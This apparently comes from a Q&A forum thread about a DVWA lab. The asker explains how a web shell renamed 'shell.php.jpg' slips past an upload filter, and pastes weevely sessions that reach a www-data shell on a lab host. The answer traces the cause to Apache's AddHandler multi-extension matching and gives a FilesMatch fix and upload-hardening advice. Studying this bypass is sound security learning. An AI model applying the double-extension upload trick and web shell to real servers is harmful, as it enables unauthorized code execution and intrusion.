Why does the file “shell.php.jpg” can execute as a php file but “shell.jpg” cannot?

Question

I am learning about file upload vulnerabilities using DVWA.

After cranking the website's security level to High, the website checks both the post request's content type & file extension, so in order to bypass it I changed the file extension to .jpg and used Burp Proxy to change the file name to shell.php.jpg from shell.jpg in order to execute the shell.

It works. What I don't understand is why it works. I read that only the right most file extension pattern is treated as the file extension, So that must mean shell.php.jpg should be treated as a .jpg file, and It is treated as such - the upload succeeds.

But why can I execute this file and not a shell.jpg file if the file extension stayed the same and the .php part is just part of the file name?

root@kali:~# weevely http://10.0.2.4/dvwa/hackable/uploads/shell2.php.jpg yuval

[+] weevely 3.7.0

[+] Target: www-data@10.0.2.4:/var/www/dvwa/hackable/uploads
[+] Session:    /root/.weevely/sessions/10.0.2.4/shell2.php_0.session
[+] Shell:  System shell

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> id
[-][channel] The remote script execution triggers an error 500, check script and payload integrity
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@10.0.2.4:/var/www/dvwa/hackable/uploads $ 

Example of the file working as expected named as shell.php.jpg.

root@kali:~# weevely http://10.0.2.4/dvwa/hackable/uploads/shell.jpg yuval

[+] weevely 3.7.0

[+] Target: 10.0.2.4
[+] Session:    /root/.weevely/sessions/10.0.2.4/shell_1.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> id
[!][terminal] Backdoor communication failed, check URL availability and password

Example of the same file NOT working as expected named as shell.jpg.

Answer 1

shell.php.jpg should be treated as a .jpg file

You're exploring DVWA, so not every should be means is. If I had to guess, the upload script properly checks the extension of the file and allows it, but the webserver doesn't check it the same way and allows execution.

You can learn more by exploring web server's (nginx or apache) config files, look for a block that performs handover to php parser for request processing.

Clarification:

But why can I execute this file and not a shell.jpg file if the file extension stayed the same and the .php part is just part of the file name?

The extension is just letters in a file name, they do not determine how the file is handled by the web server, web server determines it. One of the common algorithms is:

If the requested file name ends with “php”
    Invoke php to handle the request
Else
    Serve the requested file like any other static file
End

I’m guessing that in your case requested file name ends with “php” is changed to requested file name contains “.php”. You can find this rule in the configuration file of the web server that’s processing your requests and find out for yourself.

Update:

This is the expected and documented behaviour of apache. I'm a little bit surprised, but this is the world we live in. Goddamnit.

In configuration file /etc/apache2/mods-enabled/php.conf line AddHandler php5-cgi .php registers handler for .php files. Everything is OK, unless you read what AddHandler does.

The extension argument is case-insensitive and can be specified with or without a leading dot. Filenames may have multiple extensions and the extension argument will be compared against each of them.

Sooo... Yeah. Of course filenames may have multiple extensions. This is the only logical default.

If you're a weirdo expecting that the file would have only one extension, apache has the answer for you:

If you would prefer only the last dot-separated part of the filename to be mapped to a particular piece of meta-data, then do not use the Add* directives.

They helpfully suggest the solution to your weird wish of one-extention-ness – just use regex. So in order to execute only .php files as php you need to replace AddHandler directive in php.conf with

<FilesMatch "[^.]+\.php$">
  SetHandler php5-cgi
</FilesMatch>

In conclusion:

• common sense doesn't exist in software
• never trust any data provided by user
• store original filenames in the database if needed and rename them after upload
• treat filenames like a live bomb